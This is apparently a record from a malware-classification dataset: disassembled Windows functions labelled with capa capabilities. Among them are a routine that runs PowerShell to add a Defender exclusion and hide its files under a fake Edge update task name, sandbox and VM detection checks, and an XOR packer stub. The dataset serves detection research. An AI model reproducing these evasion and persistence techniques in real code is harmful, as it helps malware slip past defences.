joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002310
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000232a
or eax, 6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop esi
ret

Function at 0x10002440
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001ba1b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x588
mov eax, dword [0x10027040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x268]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov cl, byte [ebp + eax - 0x268]
lea eax, [eax + 1]
mov byte [ebp + eax - 0x161], cl
test cl, cl
jne 0x10002495
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
cmp dword [0x10027bcc], 0
je 0x1000255d
mov eax, dword [0x10022d78]
movq xmm0, qword [str.powershell.exe]
mov dword [ebp - 0x1c], eax
mov ax, word [0x10022d7c]
mov word [ebp - 0x18], ax
movzx eax, byte [0x10022d7e]
mov byte [ebp - 0x16], al
mov eax, dword [0x10022da8]
mov dword [ebp - 0x2c], eax
movzx eax, byte [0x10022dac]
movq qword [ebp - 0x24], xmm0
movups xmm0, xmmword [str.__Command__Add_MpPreference__ExclusionPath_]
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x160]
push eax
movups xmmword [ebp - 0x54], xmm0
lea eax, [ebp - 0x54]
movups xmm0, xmmword [0x10022d90]
push eax
lea eax, [ebp - 0x370]
movups xmmword [ebp - 0x44], xmm0
push str._s_s_
movq xmm0, qword [0x10022da0]
push eax
movq qword [ebp - 0x34], xmm0
call fcn.100010d0
add esp, 0x10
lea eax, [ebp - 0x370]
push 0
push 0
push eax
lea eax, [ebp - 0x24]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x160]
call fcn.10002310
lea ecx, [ebp - 0x268]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002571
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x578]
push eax
call fcn.1000b5af
add esp, 0xc
lea eax, [ebp - 0x578]
lea ecx, [ebp - 0x590]
push eax
call fcn.10002b60
mov dword [ebp - 4], 0
push dword [0x100297d0]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [0x100297d0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
lea eax, [ebp - 0x590]
mov ecx, esp
mov dword [ebp - 0x594], esp
push eax
call fcn.10002c80
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
push str.MicrosoftWindowsShellMicrosoftEdgeUpdateTaskMachineUACC1
call fcn.10002b60
xor ecx, ecx
mov byte [ebp - 4], 0
call fcn.10003210
add esp, 0x30
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000e1ea
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000e229
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000e229
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000e229
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000e229
cmp dword [ecx + 0x74], 0xe
jbe 0x1000e229
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10012b5d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001feb0
push 0x1001fea8
push str.FlsAlloc
push 0x1f
call fcn.10012a1c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012b91
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001c1f4]
call esi
jmp 0x10012b97
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10012bdb
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001fec0
push 0x1001feb8
push str.FlsGetValue
push 0x21
call fcn.10012a1c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012c12
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001c1f4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10012c1a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001fec8
push 0x1001fec0
push str.FlsSetValue
push 0x22
call fcn.10012a1c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012c54
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001c1f4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10016089
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10016126
push ebx
push esi
call fcn.10016052
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100123c1
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100160d3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10016125
push edi
push eax
call fcn.1000f76c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100160f3
call fcn.1000f732
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10016124
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100123c1
add esp, 0x20
test eax, eax
jne 0x10016112
push edi
call fcn.1000f732
jmp 0x1001611a
push ebx
call fcn.1000f732
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10016129
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1001613a
pop esi
ret
push ebx
push edi
push esi
call fcn.10016052
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1000f76c
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10016162
push ebx
push esi
push edi
call fcn.10005830
add esp, 0xc
push 0
call fcn.1000f732
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10016532
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10016177

Function at 0x1001b5e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001b60d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001b60d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401415
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
sub esp, 0x28
and dword [esp + 4], 0
push ebx
push ebp
push esi
mov esi, ecx
mov dword [esp + 0x2c], 0x9e3779b9
push edi
lea ecx, [esp + 0x14]
mov dword [esp + 0x34], esi
mov eax, dword [esi]
mov edi, dword [esi + 4]
mov dword [esp + 0x1c], eax
mov eax, dword [0x41a5a0]
mov dword [esp + 0x28], eax
mov eax, dword [0x41a5a4]
mov dword [esp + 0x2c], eax
call fcn.0040140e
mov eax, dword [0x41a5ac]
mov esi, eax
add dword [esp + 0x14], 0x23f
mov ebp, dword [0x41a5a8]
push 0x20
pop ebx
mov dword [esp + 0x20], 2
add dword [esp + 0x20], 3
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
shl eax, 4
add eax, ebp
mov dword [esp + 0x24], 0xedeb2e40
cmp dword [0x65ed04], 0xfa9
mov dword [esp + 0x10], eax
mov eax, dword [0x65ed00]
cmove eax, dword [esp + 0x24]
and dword [esp + 0x24], 0
cmp dword [0x65ed04], 0x3eb
mov dword [0x65ed00], eax
mov eax, dword [0x65e788]
cmove eax, dword [esp + 0x24]
add ecx, dword [esp + 0x1c]
mov dword [0x65e788], eax
mov eax, dword [esp + 0x1c]
shr eax, 5
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
add eax, esi
mov dword [0x65ecfc], 0xf4ea3dee
xor eax, ecx
xor eax, dword [esp + 0x10]
sub edi, eax
mov dword [esp + 0x18], eax
mov eax, edi
shl eax, 4
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x14]
mov eax, edi
shr eax, 5
add ecx, edi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x2c]
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
xor eax, ecx
xor dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
sub dword [esp + 0x1c], eax
mov eax, dword [esp + 0x30]
sub dword [esp + 0x14], eax
dec ebx
jne 0x40146b
mov esi, dword [esp + 0x34]
mov eax, dword [esp + 0x1c]
mov dword [esi + 4], edi
pop edi
mov dword [esi], eax
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x40d4e3
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00404cc5
mov dword [ebp - 0x14], eax
cmp dword [0x431024], esi
jne 0x40d5d6
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d563
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d6b6
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d6b6
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d6b6
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x431024], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x431028], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43102c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x431034], eax
test eax, eax
je 0x40d5d3
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x431030], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d5fb
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d5ee
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d610
push 4
pop eax
jmp 0x40d6b8
cmp dword [ebp - 0x14], esi
je 0x40d610
push dword [0x431024]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d5f5
mov eax, dword [0x431030]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d66e
cmp dword [0x431034], edi
je 0x40d66e
push eax
call ebx
push dword [0x431034]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d66e
test eax, eax
je 0x40d66e
call ecx
test eax, eax
je 0x40d663
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d663
test byte [ebp - 8], 1
jne 0x40d66e
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d69e
mov eax, dword [0x431028]
cmp eax, edi
je 0x40d69b
push eax
call ebx
test eax, eax
je 0x40d69b
call eax
mov esi, eax
test esi, esi
je 0x40d69b
mov eax, dword [0x43102c]
cmp eax, edi
je 0x40d69b
push eax
call ebx
test eax, eax
je 0x40d69b
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x431024]
call ebx
test eax, eax
je 0x40d6b6
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d6b8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403f41
mov esp, ebp
pop ebp
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x405a10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call sym._strlen
mov esi, eax
xor eax, eax
test esi, esi
je 0x405a5f
cmp byte [ebx + esi - 1], 0xa
jne 0x405a70
mov edx, 0x4110a4
lock xchg dword [edx], eax
mov dword [esp], 2
call dword [0x4080e0]
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call sym._fwrite
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
call sym._GetCurrentThreadId_0
jmp 0x405a32
Function at 0x406000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xfc
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call dbg.__wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x4061c0
call sym._GetCurrentThreadId_0
mov edx, eax
xor eax, eax
cmp edx, dword [0x4110a4]
je 0x4060df
test byte [0x4080a8], 8
jne 0x406165
lea ebx, [ebp - 0xe0]
mov edi, ebx
test byte [0x4080b8], 8
jne 0x406131
call sym._GetCurrentThreadId_0
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
mov dword [esp], edi
call sym._sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x406082
cmp esi, 3
jbe 0x4060f0
mov dword [esp], 2
call dword [0x4080e0]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x406093
mov esi, edx
mov dword [esp + 0xc], edi
shr esi, 0x10
test edx, 0x8080
mov dword [esp + 4], 1
cmove edx, esi
lea esi, [ecx + 2]
mov dword [esp], ebx
cmove ecx, esi
mov eax, edx
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call sym._fwrite
add esp, 0xfc
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x40fc00]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.2
jmp 0x406082
mov dword [esp], 0x4080b8
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x40605d
call sym._GetCurrentProcessId_0
mov dword [esp], edi
mov dword [esp + 8], eax
mov dword [esp + 4], str._04x:
call sym._sprintf
add edi, eax
jmp 0x40605d
mov dword [esp], 0x4080a8
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x406048
call sym._GetTickCount_0
mov edx, 0x10624dd3
lea ebx, [ebp - 0xe0]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mul edx
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call sym._sprintf
lea edi, [ebx + eax]
jmp 0x406050
mov eax, 0xffffffff
jmp 0x4060df
Function at 0x406220
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x7c
call sym._GetCommandLineW_0
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x4062a6
cmp ax, 9
je 0x406294
cmp ax, 0x20
je 0x406294
mov dword [ebp - 0x6c], 0
xor edi, edi
lea esi, [esi]
cmp ax, 0x5c
je 0x4062f0
cmp ax, 0x22
je 0x406300
mov dword [ebp - 0x6c], 0
add ebx, 2
movzx eax, word [ebx]
test ax, ax
je 0x4062a6
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x406250
test edi, 1
jne 0x406250
add ebx, 2
movzx eax, word [ebx]
cmp ax, 9
je 0x406294
cmp ax, 0x20
je 0x406294
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoW_4
sub esp, 4
test byte [ebp - 0x30], 1
je 0x406312
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleW_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call dbg.wWinMain@16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
add dword [ebp - 0x6c], 1
jmp 0x40626b
and dword [ebp - 0x6c], 1
jne 0x406264
xor edi, 1
jmp 0x40626b
mov eax, 1
mov esi, 1
mov word [ebp - 0x2c], ax
jmp 0x4062be
Function at 0x406830
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x411440]
test esi, esi
jle 0x406940
mov edi, dword [0x411444]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x406864
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x4068e5
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x406850
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x406967
mov eax, dword [0x411444]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov edx, dword [0x411444]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp], eax
mov dword [esp + 4], edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x406947
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x4068de
sub eax, 4
and eax, 0xfffffffb
jne 0x4068f0
add dword [0x411440], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
add ebx, dword [0x411444]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x4068de
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
xor esi, esi
jmp 0x40686e
mov eax, dword [0x411444]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x406da0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x411458
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x411450]
sub esp, 4
test ebx, ebx
je 0x406df5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x406dee
test esi, esi
je 0x406dee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x406dd0
mov dword [esp], 0x411458
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x407480
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
nop
nop
nop
nop
nop
Function at 0x10002990
Capabilities:
Get system firmware table

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022090
mov eax, dword fs:[0]
push eax
sub esp, 0x104
mov eax, dword [0x10031050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0xbc]
mov dword [ebp - 0xb8], str.avast
push eax
lea eax, [ebp - 0x90]
mov dword [ebp - 0xb4], 0x1002db10
push eax
mov dword [ebp - 0xb0], str.bitdefender
mov dword [ebp - 0xac], str.cuckoo
mov dword [ebp - 0xa8], str.malware
mov dword [ebp - 0xa4], str.sandbox
mov dword [ebp - 0xa0], str.virtual
mov dword [ebp - 0x9c], str.vmware
mov dword [ebp - 0x98], str.virtualbox
mov dword [ebp - 0x94], str.qemu
mov dword [ebp - 0xbc], 0x80
call dword [0x1003307c]
test eax, eax
jne 0x10002a4a
xor al, al
jmp 0x10002c10
lea ecx, [ebp - 0x90]
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xdc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002a78
sub ecx, edx
lea eax, [ebp - 0x90]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.10005a30
mov dword [ebp - 4], 0
lea esi, [ebp - 0xb8]
push ecx
push dword [esi]
lea ecx, [ebp - 0xec]
call fcn.10004c90
cmp eax, 0xffffffff
jne 0x10002bd6
add esi, 4
lea eax, [ebp - 0x90]
cmp esi, eax
jne 0x10002aa1
lea eax, [ebp - 0x110]
push eax
call dword [0x10033074]
push 0x80
lea eax, [ebp - 0x90]
push eax
push 0
push 0x52534d42
call dword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
test eax, eax
je 0x10002b9c
lea ecx, [ebp - 0x90]
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xc4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xc0], 0xf
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002b20
sub ecx, edx
lea eax, [ebp - 0x90]
push ecx
push eax
lea ecx, [ebp - 0xd4]
call fcn.10005a30
lea esi, [ebp - 0xb8]
push ecx
push dword [esi]
lea ecx, [ebp - 0xd4]
call fcn.10004c90
cmp eax, 0xffffffff
jne 0x10002ba0
add esi, 4
lea eax, [ebp - 0x90]
cmp esi, eax
jne 0x10002b42
mov edx, dword [ebp - 0xc0]
cmp edx, 0x10
jb 0x10002b9c
mov ecx, dword [ebp - 0xd4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002b92
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c2b
push edx
push ecx
call fcn.10009a94
add esp, 8
xor bl, bl
jmp 0x10002bd8
mov edx, dword [ebp - 0xc0]
cmp edx, 0x10
jb 0x10002bd6
mov ecx, dword [ebp - 0xd4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002bcc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c2b
push edx
push ecx
call fcn.10009a94
add esp, 8
mov bl, 1
mov edx, dword [ebp - 0xd8]
cmp edx, 0x10
jb 0x10002c0e
mov ecx, dword [ebp - 0xec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002c04
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c30
push edx
push ecx
call fcn.10009a94
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000993c
mov esp, ebp
pop ebp
ret
call fcn.1000f80d
call fcn.1000f80d
int3